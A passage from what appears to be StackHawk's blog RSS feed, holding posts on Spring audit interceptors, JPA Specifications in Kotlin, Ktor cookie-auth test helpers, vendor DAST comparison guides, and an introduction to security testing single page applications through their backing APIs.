side will not work in production. Make sure you have a foolproof server side fix to the problem before you deploy your application. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Creating an Audit Trail for Spring Controllers]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/creating-an-audit-trail-for-spring-controllers</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;As part of providing a REST API, we have the need to track certain API requests at a level higher than what raw HTTP logs in something like an ALB provides. In some cases, we want the ability to do additional lookups to augment the tracked data. In other cases, we want the ability to bring the tracked data into our applications.&lt;/p&gt;&lt;p&gt;Our APIs are written in Kotlin using SpringBoot, and after some research and design, we ended up with a custom annotation called &lt;code&gt;@Auditable&lt;/code&gt;. This &lt;code&gt;@Auditable&lt;/code&gt; annotation hooks into the HTTP request lifecycle via an Interceptor to provide a way to tag a controller method as being something that we want to track/audit. What we came up with provides the ability to automatically look for and record specific URL parameters and path values, and optionally add arbitrary data to the audit record if needed.&lt;/p&gt;&lt;h2&gt;The Goal&lt;/h2&gt;&lt;p&gt;Here&amp;#39;s a slimmed down example of what we want the annotation use to look like. We have REST controller with a function that handles requests. The &lt;code&gt;@Auditable&lt;/code&gt; annotation takes a type to mark the audit, and ideally the &lt;code&gt;orgId&lt;/code&gt; URL parameter value would get passed along with the audit data as well. In reality, this would have other parameters or a RequestBody, but this is just meant to show the use of &lt;code&gt;@Auditable&lt;/code&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Implementation&lt;/h2&gt;&lt;p&gt;With that usage in mind, our implementation consists of first defining the annotation and its types. Then we use an Interceptor to put an audit payload object into the request attributes. The Interceptor also auto-populates the payload with any known URL/request params. After that, the Controller handles the request and can put data in the audit payload if needed. Once the request completes, the Interceptor grabs the data payload and invokes a custom @Service to persist the audit data.&lt;/p&gt;&lt;h2&gt;Annotation and Type&lt;/h2&gt;&lt;p&gt;First, let&amp;#39;s define the annotation. Like we saw in the usage example above, all it needs is the type of audit.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;AuditType&lt;/code&gt; enum contains the list of audit event types. The types of audits are generally &amp;quot;write&amp;quot; focused, so we know when data changes. But we can also use this for tracking arbitrary events in the system too.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Payload&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;AuditPayload&lt;/code&gt; stores audit info during the request&amp;#39;s lifecycle.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Interceptor&lt;/h3&gt;&lt;p&gt;An Interceptor hooks into the controller&amp;#39;s request lifecycle, determines if the handler is our &lt;code&gt;@Auditable&lt;/code&gt; annotation, and if so, does audit processing logic.&lt;/p&gt;&lt;h4&gt;Interceptor Context Config&lt;/h4&gt;&lt;p&gt;Spring needs to know about custom Interceptors. Here&amp;#39;s how ours gets wired into the Spring Context.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Interceptor Class&lt;/h4&gt;&lt;p&gt;The preHandle function lets us look for url and path params before, and puts them in a new request attribute object type called &lt;code&gt;AuditPayload&lt;/code&gt;. Note this &lt;code&gt;AuditPayload&lt;/code&gt; can be used for storing arbitrary data via the Controller too.&lt;/p&gt;&lt;p&gt;Then a postHandle function lets us do something with the &lt;code&gt;AuditPayload&lt;/code&gt; once the request has been serviced by the Controller. In this case, we defined a service called &lt;code&gt;AuditSendService&lt;/code&gt; that takes the audit data for its use.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Audit Send Service&lt;/h3&gt;&lt;p&gt;This is just a skeleton of what could happen with the audit data in the postHandle. The audit info could be written to a DB, sent to a JMS queue, or whatever makes sense for the system in question.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Detailed Controller Usage&lt;/h3&gt;&lt;p&gt;With all that set up, a Controller just puts the &lt;code&gt;@Auditable&lt;/code&gt; annotation on a RequestMapping method, and audit data will show up in the &lt;code&gt;AuditSendService.send&lt;/code&gt; method. Any URL or Path params will be included, along with anything the controller puts in the &lt;code&gt;AuditPayload&lt;/code&gt; object.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;C&amp;#39;est La Fin&lt;/h2&gt;&lt;p&gt;This high level audit strategy is easy to use on the Controller side, automatically looks and saves known URL/request parameter values, and allows Controllers to add extra data for audit events as needed. We used a Spring Interceptor to hook into the pre- and post-handling of a request to carry along an audit payload. That payload gets filled out with known URL/request params and whatever else the Controller wants to add. Then we have a custom Service that is the end point for the payload, and the service can do whatever&amp;#39;s needed (JMS, DB, etc). Our actual implementation has more nuanced things, such as different audit types, but generally looks like what&amp;#39;s in the article and has been working well. Hope you enjoyed this trip through audit land!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using JPA Specifications with Kotlin]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/using-jpa-specifications-with-kotlin</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;JPA Specifications make dynamic queries really easy to work with. The general idea is that you generate JPA Models for your Entity classes, and those models provide Entity metadata that make creating dynamic queries easy using Criteria and Paths. This lets you avoid building a bunch of findBy JPA methods and picking the right one based on the current data.&lt;/p&gt;&lt;p&gt;Note that this article isn&amp;#39;t meant to be exhaustive on JPA Specifications, but rather a quick reference for working with Kotlin and JPA Specifications.&lt;/p&gt;&lt;h3&gt;Bringing in The Dependencies&lt;/h3&gt;&lt;p&gt;The JPA model generation works off Annotation processors to create Entity metadata as Java source files. In order to get that to work in Kotlin, we need to bring in the &lt;code&gt;kotlin-kapt&lt;/code&gt; plugin. Then the &lt;code&gt;jpamodelgen&lt;/code&gt; library will use &lt;code&gt;kapt&lt;/code&gt; to process annotations and generate Java source files, one per Entity class, that provide metadata needed for Specifications.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Entity&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s a contrived example Entity class that we&amp;#39;ll use for demonstration.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Generated Model&lt;/h3&gt;&lt;p&gt;Just to be complete, here&amp;#39;s what the auto-generated Java metadata class looks like for that Entity. In gradle, they land in your &lt;code&gt;build/generated/source/kapt/main&lt;/code&gt; folder and are automatically included as source for the project.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;JPA Repository&lt;/h3&gt;&lt;p&gt;To use Specifications, we need a repository to subclass &lt;code&gt;JpaSpecificationExecutor&lt;/code&gt;. This provides a bunch of auto-generated JPA Repository methods (findOne, findAll, etc) that know how to deal with Specifications.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;The DAO&lt;/h4&gt;&lt;p&gt;After all the setup, here&amp;#39;s the usage of JPA Specifications in a DAO. The main idea is to wrap each column in a function that builds a Specification with a CriteriaBuilder and queries the Path for values, or returns null. Null simply indicates the column should just be dropped for the current query.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Logging&lt;/h3&gt;&lt;p&gt;Once you have things running, you can verify the generated SQL in the logs by setting the &lt;code&gt;spring.jpa.show-sql&lt;/code&gt; flag to &lt;code&gt;true&lt;/code&gt;. It is very chatty, so make sure you switch it to &lt;code&gt;false&lt;/code&gt; when you&amp;#39;re done!&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;C&amp;#39;est La Fin&lt;/h2&gt;&lt;p&gt;JPA Specifications make dynamic queries easy to build and use. They are a deep topic, but this article isn&amp;#39;t meant to be exhaustive, just a quick reference for use with Kotlin.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ktor HTTP Response and Header Test Helpers]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/ktor-http-response-and-header-test-helpers</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;At StackHawk, our application scanner HawkScan has to handle interactions with a variety of different applications and their security strategies. In order to successfully scan different applications, we have written many tests around various web authentication types. For cookie based authentication, this involves the setting up and handling of various HTTP requests and responses, including manipulating HTTP headers for setting and getting authentication cookies. Our scanner uses Kotlin and the excellent Ktor for our testing, along with JUnit 5. Recently, we had to test an external cookie authentication case and wanted to walk through how easy Ktor made it. Plus, we wanted to share some of our StackHawk helper functions.&lt;/p&gt;&lt;h3&gt;External Cookie Auth&lt;/h3&gt;&lt;p&gt;For external cookie authentication, a request is first made to the application, which redirects to a different, &amp;quot;external&amp;quot; host and port. This external application then provides the cookie via the Set-cookie header.&lt;/p&gt;&lt;h3&gt;Test Setup&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say we want to verify a basic happy path for external cookie auth in a test. This test would need to make the initial request against the app, follow the redirect to the external app, and then get the auth cookie from the header there. This is an integration test, so we want real servers, not mocks. In order to set this up, our test starts two embedded servers using our startTestWebApp function, which configures each server with a URL path, headers, and optional response body. We&amp;#39;ll get into details of startTestWebapp further down, but this is all that&amp;#39;s needed for our test to then make requests against the servers like our scanner does and verify the responses.&lt;/p&gt;&lt;p&gt;Note that the @AfterEach includes a stopTestWebApps() function that cleans up the embedded servers between each test (details further down).&lt;/p&gt;&lt;p&gt;Also note that in general, all our test helpers like startTestWebapp and stopTestWebapps() are defined in a TestUtils.kt file that&amp;#39;s a shared test utility.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;startTestWebApp - Start An Embedded Server&lt;/h4&gt;&lt;p&gt;startTestWebApp starts an embedded server on a given host and port, and passes along an Ktor Application block to the server. Keep in mind that in our calling tests, this has a Application.routing block where we set up the URLs with their configuration for what we want returned.&lt;/p&gt;&lt;p&gt;It also adds the newly created server to a list so we can keep track of them.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;stopTestWebApps - Stop All The Embedded Servers&lt;/h4&gt;&lt;p&gt;stopTestWebApps loops over our list of servers and shuts them down. In our test cases, this is called in the @AfterEach function.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;getBodyFixture - GET With Response Body&lt;/h4&gt;&lt;p&gt;getBodyFixture allows us to set up a GET request against a given URL path, the body returned, HTTP status code, custom headers, and the content type of the response. The body and headers (which also has the status code and content type) are defined in flat text files that are put in the project&amp;#39;s test resources directory. In our test, we specify the relative path to the flat files and this will return them as part of the request.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;getHeaderFixture - A 302 Redirect GET Without A Body&lt;/h4&gt;&lt;p&gt;getHeaderFixture lets us set up a URL path that returns only headers, which in the case of a 302 Redirect, is all that&amp;#39;s needed. The headers (along with the status code and content type) are defined in a flat text file in our test resource path. The test just specifies that path and this will return its content as headers.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Header Resource File&lt;/h4&gt;&lt;p&gt;The header resource files have a simple format. The first line is the returned HTTP status, and the rest are set as HTTP headers.&lt;/p&gt;&lt;p&gt;Runtime overrides can be denoted as tokens with @ on either side (like @REDIR_PORT@ below):&lt;/p&gt;&lt;p&gt;HTTP/1.1 302 Found&lt;/p&gt;&lt;p&gt;X-Frame-Options: SAMEORIGIN&lt;/p&gt;&lt;p&gt;X-XSS-Protection: 1; mode=block&lt;/p&gt;&lt;p&gt;X-Content-Type-Options: nosniff&lt;/p&gt;&lt;p&gt;Location: http://localhost:@REDIR_PORT@/users/2&lt;/p&gt;&lt;p&gt;Content-Type: text/html; charset=utf-8&lt;/p&gt;&lt;p&gt;Cache-Control: no-cache&lt;/p&gt;&lt;p&gt;X-Request-Id: 4f044df9-64a2-4f0c-a23c-84556d8fde57&lt;/p&gt;&lt;p&gt;X-Runtime: 0.069833&lt;/p&gt;&lt;p&gt;Transfer-Encoding: chunked&lt;/p&gt;&lt;h4&gt;getHeaderResource - Read In Header Resource File (with optional token override values)&lt;/h4&gt;&lt;p&gt;getHeaderResource reads in the header resource file and parses it for use in the response. For runtime values (like an embedded server&amp;#39;s port), a map of token overrides can be provided to replace value holders in the file (like @REDIR_PORT@ above).&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;respondHeadersFixture - Sets Content Type and HTTP Status&lt;/h4&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;addHeaders - Sets Headers On The Response&lt;/h4&gt;&lt;div&gt;&lt;/div&gt;&lt;h4&gt;Verification&lt;/h4&gt;&lt;p&gt;With all that in place, our test with a few lines of code, can then do the following sequence:&lt;/p&gt;&lt;p&gt;Issue a GET /login HTTP/1.1 against the appPort&lt;/p&gt;&lt;p&gt;Read the 302 Redirect response&lt;/p&gt;&lt;p&gt;Issue a GET /login HTTP/1.1 against the appAuthPort&lt;/p&gt;&lt;p&gt;Read the 200 OK response and verify the value in the Set-cookie header&lt;/p&gt;&lt;h4&gt;Summary&lt;/h4&gt;&lt;p&gt;For testing external cookie authentication, having control over HTTP responses and headers is needed. The test client needs to make a GET that returns a 302 to a dynamic port, then make another GET against the dynamic port, and finally get the cookie. Ktor provides a deep toolbox of hooks for setting things up, and we have written some helper wrapper functions to make our tests easy to write, read, and maintain.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Tool Overview: Netsparker vs. StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/netsparker-vs-stackhawk-application-security-overview</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;Picking the right application security testing tool can be a confusing and difficult process. Engineers and security professionals typically want to cut through the marketing jargon and understand the fundamental differences between the products, but that isn’t always easy.&lt;/p&gt;&lt;p&gt;Here at StackHawk, we are incredibly proud of what we’ve built. But we also know that it isn’t for everyone.&lt;/p&gt;&lt;p&gt;Below is a guide to the key differences between &lt;a href=&quot;https://www.stackhawk.com/lp/netsparker-versus-stackhawk/&quot;&gt;Netsparker&lt;/a&gt; and StackHawk to help you determine which tool is right for you.&lt;/p&gt;&lt;h2&gt;tl;dr&lt;/h2&gt;&lt;p&gt;The choice is actually pretty simple… &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;If you are interested in automating application security testing in CI/CD and enabling developers to triage and fix security issues, then StackHawk is the choice for you. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you prefer to periodically test the production application and manage security findings within the security team, then Netsparker is right for you.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;...now onto the details.&lt;/p&gt;&lt;h2&gt;Key Difference #1: AppSec Automation 🤖&lt;/h2&gt;&lt;p&gt;Netsparker was founded in a different era of software development. It was 2009, days before John Allspaw gave his famous talk on deploying 10+ times per day. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/LdOe18KhtT4&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Allspaw and the team at Flickr were on the leading edge of the DevOps revolution, but this was still far from commonplace. Fast forward to today and most all software teams are focused on frequent deploys of small change sets. CI/CD has become a commonly accepted best practice and is pursued by companies of all sizes.&lt;/p&gt;&lt;p&gt;The application security testing tools created a decade ago simply were not built for today’s environment of frequent deploys.&lt;/p&gt;&lt;p&gt;These tools are built to scan publicly available production sites, which inherently means that the first view from a dynamic application security test is after a deploy. It is commonly known that there are significant efficiency gains when a bug is found early in the development lifecycle, while the developer still has the context of the code they just worked on. Security bugs are no different.&lt;/p&gt;&lt;p&gt;StackHawk stands in direct contrast to Netsparker’s approach of scanning the publicly available production site. StackHawk is purpose-built for automation in CI/CD. The scanner is containerized and easy to run from the command line and to automate in CI/CD, helping engineers identify vulnerabilities early in CI or even on pre-commit hooks. Scans run against the underlying services and APIs, which means that they are lightning fast and surface vulnerabilities only to the relevant team.&lt;/p&gt;&lt;p&gt;If you are interested in DevSecOps and automating security in CI/CD, then StackHawk is the only tool out there for you. If you are okay with scans against production, then Netsparker is often an industry favorite.&lt;/p&gt;&lt;h2&gt;Key Difference #2: Developer Experience 🧑‍💻&lt;/h2&gt;&lt;p&gt;StackHawk and Netsparker have vastly different workflows associated with the tools (which is directly connected to the AppSec Automation capabilities above). StackHawk assumes that developers are the first to review a vulnerability, owning initial triage and fix. When a developer introduces a new potential vulnerability, she is alerted by a StackHawk scan and given the context to triage the issue (including a cURL command to recreate the issue for debugging). Developers own the initial triage decision, with security teams reviewing the actions that developers have taken to manage risk. With this workflow, the person triaging and fixing the issue is the same person who introduced it to the codebase (read: massive efficiencies!).&lt;/p&gt;&lt;p&gt;Inherent to Netsparker’s tool is a different workflow. After a deploy, a scheduled Netsparker scan will test the production application for any vulnerabilities. Findings are then reviewed by the security team and initial triage decisions are made. Vulnerabilities are then promoted to Jira tickets for prioritization among other engineering work. This typically results in vulnerabilities being public facing for weeks until they are worked into an upcoming sprint or an urgent disruption of other engineering work to fix a high severity issue.&lt;/p&gt;&lt;p&gt;Determining which tool is right for you is more dependent on the maturity of your security and engineering culture. High performing cross-functional teams prefer a developer-first approach, but not every team is ready to put security into the hands of developers.&lt;/p&gt;&lt;h2&gt;Which Tool is Right for You?&lt;/h2&gt;&lt;p&gt;Netsparker and StackHawk are both excellent DAST tools, but they work in very different ways. Ultimately the decision of which tool is right for you will depend on the goals your organization has. If you would like to learn more, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free account&lt;/u&gt;&lt;/a&gt; to test StackHawk or reach out to the Netsparker team for a demo.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[DAST Tool Teardown: Rapid7 vs. StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rapid7-vs-stackhawk-dast-comparison</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/rapid7-versus-stackhawk/&quot;&gt;Rapid7&lt;/a&gt; has been a long-standing player in the application security space. The InsightAppSec tool is their dynamic application security testing (DAST) product. StackHawk leads with a DAST product reimagined for today’s DevSecOps world. How do these two tools compare? Which is the right one for you? Read on to learn more.&lt;/p&gt;&lt;p&gt;→ Searching for the right DAST tool? Read our &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;Dynamic Application Security Testing Overview and Tooling Guide&lt;/u&gt;&lt;/a&gt; to learn what to look for as you evaluate products.&lt;/p&gt;&lt;h2&gt;Key Takeaways&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;StackHawk enables security and engineering teams to shift dynamic application security testing left, identifying new vulnerabilities earlier in the software development lifecycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk provides best-in-class API Security Testing across REST, GraphQL, and SOAP APIs. Testing of microservices and API backed applications will be more thorough and performant with StackHawk.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Rapid7 is the best choice for traditional security teams that prefer to review new findings and create tickets themselves rather than taking a developer first approach.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Rapid7 or StackHawk: Which Product is Right for You?&lt;/h2&gt;&lt;p&gt;There is not a clear-cut best choice when it comes to DAST tools. The answer to which product is best ultimately is primarily answered by factors of the evaluating company rather than a particular tool being a clear winner over others.&lt;/p&gt;&lt;p&gt;StackHawk is typically the best fit for cloud native companies or companies that are committed to digital transformation. StackHawk‘s product takes a revolutionary approach to dynamic application security testing, testing the underlying APIs and services early in CI/CD and enabling developers to triage new vulnerabilities themselves. This workflow makes a lot of sense for companies that have invested in DevOps automation, deploy code frequently, and are already using other forms of automated testing. For these companies, fast time to identify and act on vulnerabilities is directly aligned with increased speed of feature delivery. Scans of production scheduled days or weeks after a deploy (or even scans of the staging site) simply slow the team down too much. &lt;/p&gt;&lt;p&gt;The StackHawk approach is not right for every company, however. Successfully shifting application security testing left requires the right infrastructure for automated testing, cultural alignment between security and engineering, and frequent enough deployments to get the value from a tool like StackHawk. For companies that are not invested in digital transformation or have industry requirements such as on-premise testing, Rapid7 is a much better choice. Similarly, teams that do not have cultural alignment between security and engineering would not find success with a tool like StackHawk. Rapid7 is an excellent vulnerability scanner that enables security teams to periodically run scans against their production application, identifying any vulnerabilities. For this use case, it is an excellent tool.&lt;/p&gt;&lt;h2&gt;Product Differences&lt;/h2&gt;&lt;h3&gt;Hosted vs. Containerized Scanner&lt;/h3&gt;&lt;p&gt;One of the key differences between StackHawk and Rapid7 is the way the tools run a scan. Rapid7 offers a hosted scanner, meaning that a click within their web application deploys a scan that runs on their infrastructure. Scans can also be deployed by sending an API call. Rapid7 also offers the product in an on-premise version for companies that are not ready to move to the cloud. &lt;/p&gt;&lt;p&gt;StackHawk, on the other hand, packages it’s scanner in a Docker container, which means that it can be run anywhere. It can be run on a developers local machine, as a step in the CI/CD pipeline, or as a scheduled scan running on the server. While scans are deployed on a customer’s infrastructure (the build server, for example), StackHawk is still a cloud based SaaS offering, with the scanner sending all results back to the platform.&lt;/p&gt;&lt;p&gt;With the Docker-based scanner, StackHawk is able to scan applications, services, and APIs that are not publicly available. This makes it easy to test earlier in the development lifecycle and enables developers to retest findings locally. Some developers will also configure a pre-commit hook to run a scan, ensuring they have not introduced any vulnerabilities before they push. Additionally, with this deployment model, scans are significantly faster, as they do not have to traverse the internet or deal with network security concerns.&lt;/p&gt;&lt;p&gt;Not everyone prefers this approach to running a scan. While StackHawk is easy to configure and configuration is maintained through code, some teams prefer to be able to simply point a scanner at an endpoint through a UI configuration and deploy a scan. If your team prefers to run scans of the production application and is comfortable with slow scan times, Rapid7 may be a simpler choice for deploying the scan.&lt;/p&gt;&lt;h3&gt;Developer Experience&lt;/h3&gt;&lt;p&gt;Rapid7 is a tool built for security professionals. It’s features assume scans run by and reviewed by a security team. The typical workflow is that once a scan returns results, the security team would review the findings and send prioritized vulnerabilities to fix to engineering through a ticketing system such as Jira. Rapid7’s Jira integration makes this easy for security teams.&lt;/p&gt;&lt;p&gt;StackHawk, on the other hand, is built for developer-centric application security testing. The typical workflow with StackHawk starts with a developer being alerted if they have introduced a new potential vulnerability. These alerts can come in different forms, such as a broken build, a pre-commit hook failure, or a &lt;a href=&quot;https://slack.com/apps/A0114L5HGP5-stackhawk&quot;&gt;&lt;u&gt;Slack message&lt;/u&gt;&lt;/a&gt;. The developer who just made the commit or opened the pull request is then the first to review the findings within the StackHawk platform. With clear descriptions of the findings, fix documentation, request / response details from the finding, and a button to recreate the same request via a cURL command, developers are enabled to make triage decisions. They can either fix the vulnerability at that time, send it to Jira to be prioritized with future work, or accept the risk if it does not need to be fixed. The scanner then respects state on future scans, no longer alerting a developer or breaking a build if the finding has been prioritized in Jira or has accepted risk.&lt;/p&gt;&lt;p&gt;As mentioned before, the biggest factor in determining the right tool for a team is the internal culture that the security and engineering teams are looking to achieve. Highly collaborative security and engineering teams tend to enable developers to own security decisions. In these organizations, security acts as a strategic advisor and leverages tooling to ensure that it is an appropriate backstop for risk. StackHawk is a great tool for these teams. If your security and engineering teams do not have this alignment, Rapid7 is the clear choice.&lt;/p&gt;&lt;h3&gt;API Security Testing&lt;/h3&gt;&lt;p&gt;Modern applications are built around APIs and the security risks of applications have also increasingly been shifting to the backing APIs. When selecting a dynamic application security testing tool, companies that leverage APIs to back their applications must select a tool that is built for API security testing.&lt;/p&gt;&lt;p&gt;StackHawk offers best-in-class API security testing for REST, GraphQL, and SOAP APIs. Configuration is simple, leveraging existing API documentation such as the OpenAPI specification or the GraphQL introspection endpoint. If your team does not have a documented API, &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#tips-for-creating-a-new-openapi-spec-for-hawkscan&quot;&gt;&lt;u&gt;StackHawk’s documentation&lt;/u&gt;&lt;/a&gt; points to how to generate an OpenAPI spec based on the language your codebase is written in. With this configuration in place, StackHawk’s scanner runs active tests against the API endpoints, surfacing any potential vulnerabilities. &lt;/p&gt;&lt;p&gt;StackHawk has market leading features for performant and accurate testing, such as optimized test payloads to reduce false positives and data driven nodes to avoid long running scans by not testing every variant of the same underlying endpoint. Additionally, the way StackHawk is deployed enables teams to scan each service separately from the front end, resulting in faster scan times and findings that are aligned with particular delivery teams.&lt;/p&gt;&lt;p&gt;Rapid7 is clearly built for a different era of web applications. The scan is configured by providing a list of URLs for the scanner to target. While the documentation states that the scanner supports Swagger Documents, it also states that configuration requires recorded traffic between the client and the REST API in order for the scanner to understand the methods and inputs of the API. Simply put, the Rapid7 API scanning functionality is a thin add on to the InsightAppSec product.&lt;/p&gt;&lt;p&gt;If your team is interested in testing your APIs for security vulnerabilities, StackHawk is the clear choice.&lt;/p&gt;&lt;h2&gt;Which Tool is Right for You?&lt;/h2&gt;&lt;p&gt;Hopefully this article has helped provide some clarity about the differences between Rapid7 and StackHawk. Ultimately the right tool is dependent on your team’s needs around application security testing. If periodic scans of the production application is sufficient for your team and API security is not a priority, then Rapid7’s online configuration and scan deployment likely makes it a better choice. If you are looking to automate testing in CI/CD, scale application security across the development organization, and test APIs, then StackHawk is the right choice for you.&lt;/p&gt;&lt;p&gt;If you are interested in learning more about StackHawk, you can always &lt;a href=&quot;mailto:hello@stackhawk.com&quot;&gt;&lt;u&gt;reach out to our team&lt;/u&gt;&lt;/a&gt;, or &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free account&lt;/u&gt;&lt;/a&gt; to test yourself. Go ahead and give it a whirl!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Security Testing for Single Page Applications]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/security-testing-for-single-page-applications</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;Single page applications are hot. More and more frequently, companies are building their web applications as a single page application. With a single page application, the front end dynamically changes as a user moves through the application, leveraging an API layer for data and logic. All of this results in a faster and improved user experience.&lt;/p&gt;&lt;p&gt;As companies deploy single page applications, however, they are faced with a new challenge - how to ensure that they are secure. Security and engineering teams know that single page applications bear most of the same security risks found in a traditional web application, but traditional security testing approaches do not work.&lt;/p&gt;&lt;p&gt;Read on below for an overview of the trouble with security testing single page apps and how to test single page apps for security vulnerabilities. 🤫 ...if you want a little hint, it’s all about testing the backing APIs.&lt;/p&gt;&lt;h2&gt;Why Security Tests for Single Page Apps is Different&lt;/h2&gt;&lt;p&gt;A key element of single page applications is a changing DOM (document object model). Javascript executes as a user interacts with the application, resulting in different DOMs on the same URL, without the page reloading. Single page applications are more performant and provide a better user experience, which has led to their growth in popularity. This changing page structure, however, presents challenges for traditional security testing.&lt;/p&gt;&lt;h3&gt;HTML Spiders Don’t Work for Single Page Apps 🚫🕷&lt;/h3&gt;&lt;p&gt;Dynamic application security testing tools are built on a foundation of application spidering. A scanner spiders application via the HTML, building a tree of all possible paths and routes. Then, the scanner runs a series of automated tests against those paths and routes, returning a list of potential security vulnerabilities.&lt;/p&gt;&lt;p&gt;When it comes to testing single page applications, these HTML spiders simply do not work. The spider looks at the HTML on a certain path and misses the page elements that could potentially render based on a user’s interaction. As a result, security tests with traditional tools and approaches leave a significant portion of the application untested, resulting in vulnerabilities potentially existing in production.&lt;/p&gt;&lt;h3&gt;Ajax Spiders as an Option for Single Page Applications 🤷🕷&lt;/h3&gt;&lt;p&gt;As a result of the HTML spidering problem described above, many security tools introduced ajax spiders. Ajax spiders crawl the application, executing the functions that are identified, and building a more robust list of paths and routes. This approach helps with the changing DOM problem, as the scanner steps through the possible functions instead of relying on the HTML.&lt;/p&gt;&lt;p&gt;Problem solved, right?&lt;/p&gt;&lt;p&gt;Unfortunately, while ajax spiders are a step in the right direction, they still fall short when it comes to security testing for single page apps. There are two primary concerns with ajax spiders - speed and thoroughness.&lt;/p&gt;&lt;p&gt;An ajax spider of an application is typically quite slow. For some development teams, this is not a concern, but for teams that deploy frequently and run automated tests in CI/CD, their security testing must be highly performant. An ajax spider is simply too slow for the development and deployment pace of many modern software teams.&lt;/p&gt;&lt;p&gt;Additionally, while ajax spiders create a far more complete list of paths and routes than an HTML spider, they still often present an incomplete view.&lt;/p&gt;&lt;h2&gt;How to Test Single Page Applications for Vulnerabilities&lt;/h2&gt;&lt;p&gt;The key to security testing for single page applications is testing the underlying APIs. While the front end changes based on interactions in the application, the backing APIs are consistent. With security tests implemented against the backing APIs, a company is able to test for the majority of vulnerabilities that can exist in a single page application. And most other vulnerabilities can be found by an HTML spider, as these front end vulnerabilities typically exist site wide.&lt;/p&gt;&lt;p&gt;So how does it work?&lt;/p&gt;&lt;h3&gt;Step 1: Pick a Security Tool for Single Page Apps 🛠&lt;/h3&gt;&lt;p&gt;First, select a security testing tool. Be sure to select a tool that is fully functioned for API security testing (check out our &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;API Security Testing Tooling Guide&lt;/u&gt;&lt;/a&gt; to help identify what to look for). Here at StackHawk, we offer best-in-class API security testing capabilities. There are other tools on the market as well, but you can easily &lt;a 